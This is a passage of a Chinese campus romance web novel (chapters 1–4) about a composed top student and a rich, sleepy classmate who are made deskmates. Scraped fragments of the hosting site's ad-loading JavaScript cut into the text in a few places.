《绿茶学神说他打工养我》 1. Chapter 1 临水一中。开学典礼。 许是刚下过一场“断尾雨”的缘故,操场上积了些许未被蒸干的水洼。清晨阳光的折射下,映出许多身着校服的倒影。 高三的学生被安排在操场东侧,深红色校服乌压压占满一片,与主体呈蓝色的高二生划出了一道泾渭分明的界限。 开学典礼的流程向来枯燥乏味,尤其是混着对自家学校进行吹嘘的高考表彰名单,简直能把人直接送到周公面前握手言谈。 效率奇高,一中历届学生亲测有效,并表示不失为治疗失眠的好办法。 今年的情况照往年略有所不同,也算是给绝大多数同学添了个不大不小的盼头—— 负责发言的高三学生代表一上台,底下半死不活的掌声立马欢呼雀跃了一个度。 原因无他,只怪这学生代表生了副顶好的相貌,漏出的一截冷白手腕将深红色校服衬出了一种区别于众人的独特气质来,光是往那儿一站就格外赏心悦目。 明目张胆地将旁边坐着的一众领导老师平均颜值拔高了不知多少。 谢遥集拎着份语文老师给的稿子,习以为常地伸出手来将话筒调高了一些。 养了近一周的感冒剩了点儿不怎么利索的尾巴,以至于一开口就压着些不轻不重的咳音,将他语调中惯有的温雅淡漠减去了半分—— 倒显得几乎所有演讲稿开头必备的“金秋送爽,硕果飘香”没那么俗了。 底下的“鼓掌机器们”极其捧场,一个个暗自卯足了劲儿,准备听到慷慨激昂的高潮就开始履行“发疯、拍手、叫好”的一条龙志愿义务。 奈何天不遂人愿,台下坐着的同学们没想到,台上站着演讲的人也没想到—— 这他妈的是一篇抒情散文稿。 通篇下来风花雪月不计其数,各种隐义暗喻层出不穷,愣是没给掌声一丁点儿发挥的空间。谢遥集事先没备过稿,又赶上话筒吱吱呀呀杂音没个消停,嗓子越发冒烟儿。 半分钟后话筒再次报废,谢遥集十分淡定地杵在台上,在“让它自生自灭”和“暴力战胜一切”中熟稔地选择了后者,对着话筒重重一敲。 猝不及防受了一记重击的话筒:“吱————!” 魔音贯耳般的电流声刺穿了整个操场,也刺穿了无数同学弱小可怜的耳膜。 话筒的哀鸣持续了十几秒才结束,底下的同学听力逐渐恢复了正常,然后就惊悚地发现演讲内容换了一个风格。 从“一起努力”变成了“学习时间管理”。 老师and同学们:“???” 谢遥集面不改色地站在台上胡扯,从“每天进行一次数学限时练”扯到“英语单词易错的多层含义”,内容充实,字字诛心。 三下五除二就把学校限定七分钟左右的演讲熬到了头,直接“谢谢大家”。 这个“大家”谢完了能有半分钟吧,主持人才一脸懵逼地上来宣布接下来的流程,在经过谢遥集的时候还被对方笑着点头致意了一下。 旁边坐着的一溜儿不明状况的学校领导:“……” 敷衍了事的学生代表把念了一半的稿子揣进兜里往台下走,视线扫了一圈后准确锁定目标,径直去了主席台右侧的高三获奖席。 “语文最高分”靠在椅子上昏昏欲睡。 谢遥集从脸上扯出一个学生会主席官方温和微笑,站定之后将手里揉皱了的稿子拍到他脸上,语气与平常无异:“你写的?” “最高分”猛然从梦中惊醒,眯着眼睛看了一会儿被人无故怼到眼前的不明物体。 整个人显然还处于一种浑浑噩噩的未睡醒状态:“……啊。” 高三学生代表木着脸盯他片刻,把他从昏昏欲睡盯到一脸惊悚。 再到最后“被盯人”迟疑开口:“不是我说兄……” “用汗水与泪水凝出的彩虹播撒智慧之光。” 林·语文最高分·藏·撰稿人·初:“……弟?” “用勤奋与努力结出的密匙打开未来之门。” 林藏初:“?????” 谢遥集兀自当着莫得感情的读稿机器:“用……” “草你他妈打住!”林藏初被他一平到底的语调惊出了满身鸡皮疙瘩,不禁有些毛骨悚然,“你……不是,谢神…你干嘛啊?” “没什么事,”谢遥集对外温文尔雅的学神人设没崩,笑容和煦如春风,“就是这稿子写的实在太得我心,专程过来和撰稿人同学交个朋友。” 然后有怨报怨,有仇报仇。 林藏初:“……” 林藏初干笑着接过稿子翻了翻。 满纸感叹号倏然唤醒了他几周前被淹死在王者峡谷的记忆—— ......这好像是他在那个忙于上分的新赛季夜晚,为了不让班主任的夺命催稿call打断手感,花了整整两分钟的挂机时间,从百度文库粘贴复制来的。 为此还丢了一座发育路的塔,险些被队友骂到祖坟爆炸。 林藏初不知打哪儿来的一股底气彻底立了个稳妥。 他都为这破稿子牺牲这么多了—— “啊…我也觉得这稿子其实还可以的,好歹值我王者峡谷里好几座祖坟……” 他最末一句嘟囔着说出来,谢遥集实打实没听清,皱眉反问道:“什么?” “不是,咳。”林藏初飞快改口,“我是说,咱都是迫不得已完成任务对吧。” “体谅一下,谢神?” 谢遥集不动声色地向后靠了些,略微避开这人无意识凑过来的上身,可有可无地“嗯”了一句。 他忽然有点奇怪,自己为什么会因为这么件小事儿莫名其妙来找这个人搭话。 林藏初成功摆脱了一次社死危机,连带着眼前的人都看起来顺眼不少,顺手把稿子往回一递: “喏,那就还请谢神好好珍藏,别扔了啊。” “……一定。”谢遥集很快收拾了乱七八糟的思绪,捡回学生会长的斯文微笑,伸手接过稿纸。 那演讲稿原本叠得整整齐齐,边缘对折得分毫不差,是个如花似玉的姑娘,现下却被某人胡乱蹂躏一通,活像个鹤发鸡皮的老大爷。 ……简直是在某谢姓学生会长的强迫症雷区上疯狂蹦迪。 谢遥集本着平复心情的原则做了个深呼吸,半路叫手里这糟烂玩意给截得险些背过气去。 ……再看它一眼,我估计得折寿半年。 谢神心想。 他向来擅长审时度势,如今果断往旁边转移了目光,好巧不巧把林藏初一直蜷着的手扫了个正着。 放在平常,堂堂谢神也不至于被个普通同学的手分去注意,但怪就怪在那小少爷本该养尊处优的手上竟然有道疤。 挺长一条,从食指和中指间的细嫩空隙延伸至腕,几乎横贯了这人整个手背。 让人看着难受。 谢遥集不自觉皱起眉,心想自己这是什么品种的新型强迫症,怎么连别人的疤痕都看不得。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 在他发愣的第四秒,林小少爷被盯得心里发毛,本就不多的耐心终于告罄,不情不愿地伸出罪魁祸爪挥了挥:“谢神?” “…怎么了?”谢遥集一顿,刚抬头便看见了在不远处跑道上蹿下跳的陆明书。 “会长!谢神!谢遥集!可算找到你人——卧槽!!!!!!” 下一秒,这人在众人的注视下精准踩中脚前水坑,滑了个实打实的狗啃屎。 “……” 他敬爱的谢会长后退半步,沉默着避开了这个不太社会主义的大礼。 五班团支书以行动深刻传达了他们班顽强不屈的团魂,颤巍巍扶着膝盖站了起来,成功完成老师交代的重要传唤任务:“那啥......崔书记喊你跟他一起颁优秀学生奖。” 谢遥集看着他身上一连串的泥点子默了半晌:“……我这就去。辛苦你了。” 陆明书在原地眼见着他走远,被这一句“辛苦”砸得有些飘飘然,活像是不小心被心尖偶像翻了牌子的狂热粉丝。 直到旁边一道略低的清朗声线将他拽回神来:“你不先去换个衣服吗?” “……啊?”陆明书被突然出声的林藏初吓了一跳,有些不好意思地挠了挠脑袋,“同学,我也没带多余的校服啊。” 林藏初皱了下眉,恍惚想起自己桌屉里好像有那么一件自从发下来就再没穿过的白色校服短袖。 “你等等,我有。” “……啥?” 陆团支书眼看着这人三言两语地撂完话,然后胳膊一撑,干脆利落地从椅子背翻了出去。 “嘘。” 细长的手指在唇边虚虚一比,眼前的少年露出一个懒散而狡黠的微笑,“这破典礼不知道还要啰嗦多久,困死了……快走。” * 高三作为整个临水一中的希望,享有独占一栋教学楼的优待特权,虽然这栋教学楼的年纪已经比校长都大。 开学典礼流程才进行到一半,这个时间待在室内的,都是各班胆大爱玩视校规于无物的问题分子。 好学生陆明书跟在林藏初身后,眼看他熟门熟路地打了五层楼的招呼,好不容易才找到空闲,试探着开口问道: “那个,同学,我叫陆明书,是五班的……” “五班的团支书是吧,之前在走廊罚站的时候看见过。” 林藏初轻快地跃过两级台阶,毫不避讳地在他面前摸出了手机,“哦,我叫林藏初。” 陆明书心道在走廊罚站这种黑历史也是可以直接说的吗,就这样无视校规公然玩手机是被允许的吗……脸上却下意识挂上了从自家偶像谢神那儿学来的学生会标准营业笑容。 “林神你好!请多关照!” “……” 闻言林藏初脚下突然一绊,身形打了个趔趄,嘴角跟着微微一抽,“林神…好怪,听着好像姓谢的那个大尾巴狼才会喜欢的称呼……” “林神小心脚下!”陆明书对一班这种火箭班学生自带滤镜见谁都喊神,此刻忙着扶人,也没听清他后半句话,“啊,你刚刚说什么?什么姓谢的——” “没有谁,我没说,你听错了。” 林藏初否认得干脆利落,半点不想跟某人扯上关系似的,“叫我名字就行。到了,我们班现在应该没人,你直接进来就——” 教室老旧的木门悠悠地吱呀了一声,室内十几个人闻声同时齐刷刷抬头,如同一群忙得热火朝天的猫头鹰: “嘿,又回来一个!” 2. Chapter 2 “……?” 教室里满地狼藉。扫把与灰尘齐飞,抹布共拖把一色,领头的高个儿女生抹了一把额角的汗,爽朗招呼道: “哟,小林身后怎么还有个人?买一送一啊,正好,来,这把扫帚给你!” “……我先不问你们这些人为什么不去开学典礼,要在教室拆家。” 林藏初木着脸把刚认识的新朋友往身后一拨,指了指地板中央胡乱堆叠的破水盆旧抹布,语气冷然,“这些…又是哪捡来的垃圾?” “什么拆家,这叫先破而后立的大扫除!” 女生一挥扫帚,林藏初立刻飞快后撤半步,没让空中浮动的尘埃沾上衣角,“也不许侮辱我们宝贵的劳动工具——不知人间疾苦的林少爷,咱们班就剩那一个不漏水的盆儿了!” 陆明书刚从林藏初身后探出头,就被扑面而来的灰尘糊了一脸,忙不迭地又缩了回去。 “……” 林藏初不忍直视般闭了闭眼,从兜里把刚熄屏的手机拎出来,手指在屏幕飞快地点了几下,“算了……新水盆下单了,过会儿去校门口拿——停,别说话,也不许鼓掌。我桌子呢?” “唉,好吧。我们小林——哦不,林神,就是喜欢做好事不留名。” 女生遗憾地放下了意欲鼓掌的双手,在满地狼藉中搜索了一圈儿,“桌子……哦,桌椅都拿外面去了。内个谁,你去帮咱们林神找找!” “……不用。”林藏初面无表情地又后退一步,“算了,我自己找就行。” 整个楼道只有一班班级里忙活儿着大扫除,成套的桌椅大喇喇地堆叠在楼梯间外大片的空地上,一时分不清哪个是哪个,只能挨个观察桌洞里堆得乱七八糟的书和练习册,以此来判断桌子主人。 毕竟是翻找陌生班级陌生同学的物品,陆明书有点局促地站在旁边,正犹豫着要不要上前搭把手,就被赶来帮忙的女生拍了拍肩。 “哎,你是五班的团支书吧?我好像见过你来找谢神。”女生自来熟地打了个招呼,“我叫高姿,一班的生活委员。你也别傻站着了,正好咱俩能去帮林神一起找。” “什么林神,听着好怪。”林藏初低着头翻东西,咕哝着插话道,“我又不是谢遥集,考不了人家那个学年第一,倒数第一倒是能搏一搏。” “嗨,你俩又不是一个赛道的。”高姿哈哈一笑,“他是咱们班的学神,你是咱们班的财神!其实也不是我懒得去买新的扫把盆子,主要是咱班班费又见底了,唉……” “没事,几个盆而已。”林藏初不以为意地一摇头。 “看!这就是林神,我们心软的财神爷!” 高姿立刻大声鼓起掌来,林藏初这次没能及时拦住,只能把脑袋埋得更低装鸵鸟,假装不认识这人。 看来自己今天这个脸,在外班同学面前算是丢定了…… 林藏初无声地叹了声气,随口转移话题:“对了,今天怎么刚开学就大扫除?” “开学典礼还没完事儿呢吧,你们这是翘了回来的?” “怎么可能,贝姐临时收到教务处通知,派我们三组回来提前收拾的。” 高姿耸耸肩,“说是有几个复读生要转到咱们班里,教室单人单桌坐不下了,要改成两人一桌呢,新座位表才排好……” 林藏初翻找的动作一顿,一股不祥的预感涌上心头:“两个人,坐同桌?” “对啊!嘿嘿,咱班拉单桌这么长时间了,突然多了个同桌,想想还怪有意思的……” “等会,座位表在哪?我不想跟……” 林藏初想起来班里某个跟自己向来不对付的人,皱了皱眉,换了个没那么直白的说法,“……我觉得一个人坐挺好的。” “诶,咱们小林神这个人缘,跟谁坐一起玩儿不开?”高姿不知从哪掏出一张叠得乱七八糟的纸,抖开瞥了一眼,“而且贝姐给你安排的同桌,嚯,年级第一啊——” 不祥的预感愈加浓烈。 林藏初一把从她手里扯过座位表,只见后排靠窗的角落里,“林藏初”三个字旁边,赫然写着一个铁画银钩的熟悉名字。 ——谢遥集。 …… ………… “……谢遥集?” 北楼四层的办公室里,老师的手掌不轻不重地落在男生肩膀上,谢遥集倏地回过神来,朝对方露出一个得体中略带歉意的微笑。 “抱歉,老师。昨晚没休息好,有点走神,不过您交代的事我记下了。” “好,你心里有数就好。” 邱老师欣慰地点点头。操场上人声喧嚷,开学典礼已经结束了,陆陆续续有其他老师回到办公室,于是她也不再多言,只叹了口气,又拍了拍少年人挺拔却单薄的肩。 “老师知道你家里的情况,你是懂事的孩子,但也不用把自己逼太紧,平时多注意休息……比赛的事,你慢慢考虑。” “……” 谢遥集垂着眼睛没答话。 他身上还挂着刚刚被校长亲手戴上的表彰绶带,鲜红的绶带搭在深红色的校服上,颇有种相得益彰的美感,簇拥着本该无忧无虑、只顾意气风发的少年人。 片刻,他终于掀起眼睫,俊秀面容平静如深水,向邱老师又笑了笑:“我明白。” 尖锐的上课铃声倏然在走廊处响起,谢遥集随手捡起办公桌上散落的几页皱巴巴的纸,礼貌道:“没别的事的话,我就回去上课了,老师们再见。” 办公室里高三年组的老师都眼熟这个学习好会做事儿态度还上进的学生,谢遥集从最里面的办公桌一路走到最外面,又在走廊上跟偶遇的老师同学打了一连串的招呼。 等他终于回到高三一班门外时,教室里已经隐隐传出了生物老师慷慨激昂的讲课声。 众所周知,生物课是整个高三一班公认最不能迟到的课之一。 生物老师向来严于律己也严于律人,晚进来的人轻则提问抽查背书,重则占用几分钟课堂时间挂上黑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 板,和老师一起沉浸式体验“在教学中学习”的新课程改革。 谢遥集站在门口停住脚,调整了一下呼吸。 刚刚一步三级台阶连上五楼依旧脸不红气不喘的人酝酿好情绪,轻轻咳嗽几声,又伸手把头发稍微拨乱了些,这才终于叩响了教室老旧的木门。 “……报告。” 清朗的声线里掺了点喘不匀的气音,少年人垂眼半扶着门,一副急匆匆跑着赶来上课却还是遗憾迟到的样子,“抱歉老师,我迟到了。” “进来吧。”生物老师没抬头,唯有视线余光如同细刃杀过,将谢遥集全身上下都悉数扫视了一通,“谢遥集?这是领完表彰奖啦?” “……嗯。”谢遥集迅速扯下身上的绶带,面不改色道,“崔书记找我交待了几句话。” “这次算你迟到,下不为例。”生物老师收回目光,冷声道,“回座吧。” 谢遥集乖巧点头,在众人敬佩的目光中安然无恙地走回座……等等,座位呢? “……?” 他脚步一顿,快速扫视了一圈格局全然陌生的教室,几乎有想退出去看一眼班级门牌的冲动。 教室后墙上,自从上届学长学姐毕业留下后就没变过的黑板报消失不见,扫把拖布饮水机都被归拢到了讲台边上。靠后门的角落,那张原属于他的桌椅上,堆叠着几个……呃,崭新的水盆? 只不过是短短一个大课间没回来,这个教室里到底发生了什么! 原本单人单桌的布局被凑成了成双成对的双人桌,一班人数又恰好是双数,于是整个教室里,唯一的空位只剩下南面靠窗倒数最后一排的左边桌子。 等他走到附近,目光触及到那位置旁边趴在桌子上睡觉的人时,谢遥集一向波澜不惊的脸色忽然变得有些微妙起来,脚步微顿。 ……怎么是他? 生物老师还在注意这边,谢遥集在心中叹了口气,不动声色地侧过身,挡住了老师审视的目光,轻轻叩了叩桌子。 “……同学,醒醒,上课了。” 伏在桌子上的人有着一头蓬松柔软的发丝,温暖的阳光透过碎了一角的玻璃窗,不规则地打下来,从他稍稍弓起的肩背一直漫到修长的脖颈间,最后在细碎的发尾处泛起一种好看的浅金色来。 “浅金色”沉浸在不知作何而喜的美梦里,即使被人喊了,也只是不耐烦地稍微动了动,没醒。 谢遥集深吸一口气,在“这人聋了”和“这人死了”之间反复怀疑,刚想加大音量二次尝试:“林——” 他话音未出,一小截粉笔头远远地从讲台上破空而来,稳准狠地横穿整个教室,砸在了桌子上尚还在梦中的人的头上。 谢遥集看见那簇泛着金色的浅棕发尾因为这人茫然抬头的动作重新归为了看不见的妈生黑色。 几秒钟后,教室里隔空传来生物老师足以穿透整个楼层的、震耳欲聋的怒吼声。 “——林藏初!!!你又上课睡觉!!!” 3. Chapter 3 林藏初刚从梦中悠悠转醒,就被生物老师的河东狮吼喊了个头盖骨朝天。 向来不屑于区分上下课铃声,困了倒头就睡的林小少爷撑着自己困乏沉重的眼皮摇了摇头,艰难地把视线往黑板上密密麻麻的板书上投去—— 成功地辨认出来了这节是生物课。 生物老师气势汹汹地走下讲台,似乎是想过来找自己要个不那么善解人意的说法。 林藏初下意识往后一挪桌子,没挪动。 “……”以往松垮的桌子此刻纹丝不动,他这才发现自己身边不知道什么时候站了个条顺盘靓的红色校服,不偏不倚地把他能逃跑的所有路线全都堵死了。 浑然不觉自己恰巧给新同桌充当了路障的谢遥集往脸上挂了点儿恰到好处的同情,伸出手,像是十几分钟前班主任拍他肩膀那样,也照葫芦画瓢似的拍了拍林藏初的肩。 “节哀顺变。”他说。 林藏初:“……” 一股有明之火窜上心头,林藏初长长地憋了口气:“节哀你——” “你给我上后面站着!” 怒火中烧的生物老师赶在最后一秒到达战场,拎着林藏初耳朵把人拽起来,成功掐断了他的话匣。 林藏初长长憋着的一口气彻底地散了。 干净不见一丝笔迹的生物书被老师从桌面上捡起来,拍在他怀里:“给我好好靠墙站着听课!听见没有!!” 林藏初把书接过来,眼皮依旧是有点沉:“……好的老师。没问题老师。” 生物老师皱着眉又上下打量了他几眼:“还在困?” “没有老师!绝对没有!” 林藏初这回彻底站直了,贴着墙抬手敬了个标准的升旗礼。 生物老师嫌弃地一咧嘴:“行了行了,好好听课。” 确认林藏初已经从上课睡觉的行为里清醒大半后,她重新走回了讲台,开始接着上课。 林藏初也拎着生物老师强塞给他的那本生物书,倚着墙,开始接着昏昏欲睡。 直到一声略有迟疑的“同学”将他拉回了现实。 “那个……林同学。”谢遥集把椅子稍微往后稍了稍,轻咳一声,“你手里那本生物书。” 刚要睡着的林藏初:“啥?” 谢遥集:“……你手里那本生物书,好像是我的。” 可能因为害怕被生物老师听见讲小话,他这两句话说得又低又轻,声音低到林藏初几乎要凑到他椅子背才能听清。 在听清“生物书”和“我的”这两个词之后,他“哦”了一声,重新站直身体,在谢遥集期盼的目光里低头把那本生物书翻到了扉页。 上面端端正正写了“谢遥集”这三个正楷。 林藏初抬头,正好对上自己新同桌翘首以盼、透着一种“你看我就说吧”的智慧目光。 想起来几分钟前的生死恩怨,他冷笑一声,把书一合,抬脚将自己的罚站位置往右挪了几米。 ……离谢遥集更远了。 末了,还挑衅似的从校服袖子下面比出来一个中指。 谢·自认为人缘很好·遥集:“……” 向来在同学关系这件事上如鱼得水的学生会会长生平第一次遭遇滑铁卢,一时间有点挂不住面子,脸上的礼貌微笑险些崩出个口子来。 他闭了闭眼,心想总归不能在林藏初这根东南枝上吊死,不就是一本拿不回来的生物书吗? 谢遥集稍稍抬头,快速地瞥了眼讲台上滔滔不绝沉迷讲课,没再往自己这边多加注意的生物老师。 三秒钟后,一本崭新的数学练习册被人淡定地摊开在了桌面上。 …… ………… “……好,下面同学们把书翻到第四章第二节。有个地方我们需要进行额外补充。” 生物老师推了下眼镜,又课堂惯例地下了讲台开始巡视,“都把笔拿起来,不要懒得往书上记笔记——” 脚步声愈来愈近,等沉迷研究数学题的谢遥集回过神来的时候,面前的练习册上已经多出了一大片被人遮挡的阴影。 “……谢遥集,你在写什么?” 生物老师弯下腰把那本《高考数学压轴题汇总》捡了起来,语气森森然好似发怒边缘。 谢遥集:“…………” 还没等他想出来一个合适的狡辩理由,老师就已经一目十行地看完了练习册里的解题内容,劣质针管笔不仅洇墨还不容易干,明晃晃地昭示着某人上生物课偷写数学的罪行。 生物老师深吸一口气,努力平息怒火,想劝自己面前对着的是年级榜一,但是失败了。 “上课迟到还不带书,还公然在课上写别科作业。” “——谢遥集!你也给我到后面站着去!” 瞌睡星人林藏初在生物课被罚站的第三十分钟喜提新邻居,连忙抱着生物书贴心地往旁边让了个位置。 生物老师站在不远处,看着贴墙而立的两个人,只觉得自己的脑袋越发地痛了起来:“你们班主任这座位分的真有水平,下节课别让我再抓到你俩,听见没有?” 林藏初点点头。旁边的人也跟着点点头。 于是生物老师又回去讲台上念笔记了。 只留下两个前脚刚结了怨的人在原地贴着墙大眼瞪小眼。 平心而论谢遥集这人生得挺好看,成绩好长得帅,做事效率也是实打实地高。 林藏初捏着怀里的生物书往对方脸上瞧了会儿,忽然在心里打出这么一段话来。 ……就是实在太招人恨。 他想起先前两人在各种事情上的不对付,默默地又补了一句,手里捏着书的力道无知无觉地加重几分。 可怜生物书只是在课上短暂换了个新主人,原本光洁如新的封面就已经多了几道褶。 谢遥集平心静气地站在林藏初旁边,视线却忍不住地往自己饱受磋磨的生物书上飘—— 算了,多一事不如少……少不了一点! 林藏初只觉得自己怀里一沉,一低头就看见生物书上多了只不速之客。 对方细长好看的手指搭在书脊装订线上,虽然力道不大,但是却透着种不由分说的强硬来。 林藏初:“?” 林藏初简直难以置信:“咋的,我不给你你还要抢回去?” 这个年纪特有的逆反心理噌地一下冒出来,在心里大火足量地烧了个十成十。 仇人见面分外眼红,哪怕是本阴差阳错到了自己手里的生物书也不例外。 林藏初死死地抓着教材,生怕一不留神就叫对面那凶神恶煞的幺鸡给抢走了—— 少爷兀自较劲儿其他一概不管,谢遥集还没反应过来,整个人就已经连手带书不由分说地被对面掐在了怀里。 谢遥集:“……” 他挣扎了一下,没挣动。 少年人温热的体温顺着两个人相接触的地方直往手心里钻,明明天气已经临近入秋,这人却还只穿着一层薄薄的夏季校服。 鲜活陌生的气息顺着窗外吹进来的风露了个不易察觉的尖角,谢遥集呼吸一滞,莫名闻到了一种好闻的柑橘香。 他动作一顿,抓着那本生物书的力道紧跟着散了,手指却还被林藏初抓在怀里。 “……”谢遥集又试了试,还是动弹不得。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 他叹了口气,率先打破了两个人之间这场莫名其妙的僵持:“林同学,书送你了,能不能先松——” “你们两个!在后面拉拉扯扯的干什么呢?!” 生物老师的怒音从讲台穿透而来,班级倏地静了,听课的不听课的学生都齐刷刷地回了头。 谢遥集没说完的话再没有了能说出口的机会,因为以奇怪姿势彼此钳制的两个人在生物老师这句话开口的瞬间,恍若心有灵犀一般,慌忙触电似的急速分开了。 一时间班级寂静无声,生物老师面沉如水地下了讲台,第三次、也可能是第四次踩着愤怒的脚步往两个人的方向走来—— “叮铃铃——!” 中午的放学铃恰到好处地阻止了这场闹剧更加悲惨的结果的发生。 天欲降大任于是人也,生物老师只走到一半就停了脚。 她深吸一口气,分贝混在刺耳嘈杂的下课铃声里威力丝毫不减:“你们两个,现在下课给我去你们班主任办公室写检讨!” “立刻!!!马上!!” - 这是谢遥集今天第二次进数学组办公室。 和第一次不同,这次来的时候还带了个新的人型挂件。 放学铃声已经响过五分钟,走廊里还有拖拖拉拉三两成群等人一起回家的学生,数学组的办公室里却早已空无一人。 谢遥集十分明显地听见自己身边不学无术的小少爷松了口气。 林藏初向来是写检讨大户,见办公室没人也就没再紧张,立刻轻车熟路地找到班主任桌子,从一堆专门用来发给学生写检讨的空白稿纸里顺出来了两张。 “我的呢?”谢遥集问。 “自己拿。”林藏初拎着稿纸没好气地瞪他一眼,“你胳膊断了?” 谢遥集:“……” 谢遥集差点被噎笑了:“行。” 一对儿今日上岗的新同桌称得上是两看两相厌,各找各地寻了张空桌子开始写检讨。 林藏初走得急,连手里的笔都是方才从班主任的桌子上偷偷借的。 一笔写下去,稿纸上立刻多出来几道扎眼的红色。 “检讨书。” “对不起,我不应该在今天上午的最后一节课,也就是生物课上睡……” 林藏初只写了几句话就把自己写趴在了课桌上,想了想,又直起身把“睡觉”的“睡”给勾掉,改成了“和新同桌互相打闹”。 他这番如意算盘打得极为响亮——单人犯错该罚,可若是两个人一起才能犯的错呢? 搞不好能借此机会换个同桌,岂不美哉? 林藏初自诩顿悟,立刻下笔如有神地洋洋洒洒写了半篇稿纸,细数自己跟谢遥集做同桌的这半天时间里有多么“合得来”,多么地扰乱课堂纪律。 许是大中午没吃饭的缘故,写着写着,他的肚子忽然不遂人愿咕噜一声。 几乎是同一瞬间,林藏初听见了对面椅子在地面的拉蹭声。 原本在对面安静写着另一份检讨的谢遥集像是跟谁约好了似的,放下纸笔忽然起身,半句话都没说就抬脚往门口走。 “哎——”林藏初下意识叫住了他,话出口之后又觉得“仇人之间的关怀寒暄”略有不妥,硬生生地止住了原来的话音,“你去哪儿?” 谢遥集立在门边,手已经握在了生锈的门把手上,听见他的话之后也只是稍稍地侧了下头。 林藏初不知道自己是不是眼花,总觉得这人的脸色看上去比之前苍白了点儿。 “去吃饭。”两秒钟,也可能是更久之后,林藏初听见他开口问道,“你要不要一起去?” 4. Chapter 4 这个季节的正午阳光不比盛夏炎热,但是照在临水一中的操场上时,却又会给橡胶跑道镀上些波光粼粼的刺眼金色。 林藏初一出北楼的大门就被晃了下眼,只半秒钟的功夫就落后谢遥集两个身距。 他慢悠悠地跟在人身后走,脑袋里还在想方才谢遥集说出口的邀请。 林大少爷自认口味刁钻,自从上了高中就没怎么和同班同学一起吃过饭——因为不是自己嫌弃饭菜太难吃,就是对面觉得价钱太贵。 但是难得能跟新同桌有个缓和关系的契机,稍稍委屈一下自己……也不是不行。 林·娇生惯养·藏初在心底暗暗地下定决心。 校门口一条街上的餐馆开了这么多年都没倒闭,不说特别好吃,起码也能沾个口味还行吧? 林藏初边走边化身福尔摩斯似的想,刚要把心稳稳当当地放回肚子里,下一秒却发现前头谢遥集的路线规划…… 似乎与他脑袋里提前想好的不太一样。 临水一中唯一的正门开在北楼的西北侧,而前面人却在途径路口的时候径直拐向了西南,大有一副横穿操场的架势。 林藏初:“……?” 林藏初眯着眼,顺着谢遥集的行走路线往路途尽头瞧了瞧。 一幢颇具上个世纪建筑风格的双层红砖矮楼大大方方地出现在了他的视野里。 ——正是他除了入学第一天好奇进去参观过,以后就再也没有踏足过的学校食堂。 林小少爷显然一时间难以消化这个噩耗,三步并作两步地长腿一跨,一把拽住了谢遥集的校服袖子:“那个……” 谢遥集不知怎地被他拽得身形微微一顿,原地顿了几秒才转头:“怎么了?” “我——”林藏初本来想说我们去校外吃,但是目光触及到谢遥集微微蹙着的眉头时,又不知为何忽然晃了下神,在话语出声前鬼使神差地改了口。 “……我饿了,能不能快些走?” 谢遥集沉默着扯出来个学生会会长的标准礼貌微笑,只点了点头,却没再多搭话。 要不是这人脚下的步伐忽然加快了几分,林藏初几乎要怀疑他方才以为自己是在故意找茬。他忍不住小跑几步凑了上去,跟谢遥集保持着一个并肩而行却又不至于太近的距离—— 温暖的阳光透过食堂门口老榆树的枝杈打下来,照在谢遥集的脖颈、肩侧,似乎衬得他的脸色更加苍白了。 林藏初皱了皱眉,还没等来得及细看,这人就已经游鱼似的优雅蹿进了食堂大门。 此时距离午饭正点儿已经过去了近半个小时,林藏初乍一进门就被食堂残羹剩饭独有的气味儿扑了一脸。 周围餐桌上的学生只剩了三三两两,干饭速度肉眼可见地比不过其他人,以致于被留到了这场食堂战争的最后。 林藏初往窗口扫了两眼,没能找到方才一马当先冲进去的谢遥集。 高三的红色校服和高一高二的蓝色校服混在一起,林藏初找人找得眼花缭乱,视力险些下降几个百分比,连忙干脆利落地放弃了,打算自己先去买饭。 他先是往摆着泡面奶茶火腿肠的窗口走了几步,然后跟窗口的价签表以及直到此时还依旧冗长的排队队伍大眼瞪小眼地僵持了几个回合,望而却步地叹了口气。 饥肠辘辘的林少爷身子一转,退而求其次地选择了旁边几个打饭窗口里人最少的。 等他端着饭找到谢遥集的时候,已经是十分钟之后了。 谢神正夹着一块儿豆腐往嘴里送,见林藏初在他对面落座,点了点头算是招呼。 两个人在嘈杂的食堂里相对而坐,林藏初不习惯这种环境和氛围,没敢抬头也没敢左张右望,只默默低头看了看自己餐盘里的菜。 是份胡萝卜和花生米多过鸡肉三倍的宫保鸡丁。 林藏初沉默地夹起来一块胡萝卜丁举到面前,即便做好了心理准备,也没忍住在把它送进嘴里的瞬间皱了下鼻子。 ……好难吃。 有点咸,油又太大,再加上是被炒熟了的胡萝卜。 简直是在本就难吃的基础上变得更加难吃了。 他放下筷子,没忍住悄悄往对面人的餐盘里分去了一缕视线—— 谢会长即使是吃饭也慢条斯理、极具观赏性,如果忽略他餐盘里那份一看就很难吃的清水白菜炖豆腐的话。 两分钟后,谢遥集在对面愈发灼热的目光里终于停下了自己手里的筷子:“?” 他略带疑惑地抬头,在看见林藏初餐盘里那份已经被他戳得惨不忍睹的宫保鸡丁之后,又变成了一种饱含同情的了然。 谢遥集放下筷子叹了口气。 “……林同学。” 林藏初:“嗯??” “你去打饭的时候。”谢遥集顿了顿,十分委婉地换了个不那么直白的说法,“就没有怀疑过为什么那个窗口的人那么少吗?” “啊?人少还不好吗?”兴许是吃胡萝卜吃的,林藏初一时脑子卡住了转不过来弯,“人少起码不用排……” “……等等,你的意思是?” 电光石火间,不知人间疾苦的林少爷好像忽然想明白了其中的一些道理关窍。 谢遥集坐在对面,颇有点事不关己地从餐盘里夹起来一筷子白菜。 然后顶着林藏初从不可置信逐渐转为悲伤的视线,表情认真地点了点头:“恭喜你啊,一来就打到了全食堂最难吃的饭。” 林藏初:“…………” 林藏初忍辱负重地装做没有看见对面压不下去的嘴角弧度。 实在愧对自己的味蕾,林少爷一拍桌子站了起来。 “抛开事实不谈,你不提前告诉我,难道你就没有一点儿错吗?!” 谢遥集放在桌上的铁餐盘无辜遭殃,跟着林藏初大力拍桌的动作转了几圈,险些从本就凹凸不平的桌沿飞了出去。 见惯了大场面的谢会长面不改色按住了自己餐盘的边儿:“嗯,我的问题。抱歉。” 他态度这么良好,林藏初反倒不好说些什么,无理取闹过后颇有些心虚地抬手摸了摸自己的鼻尖:“……算了,我再去买桶泡面。 (function () {var id = 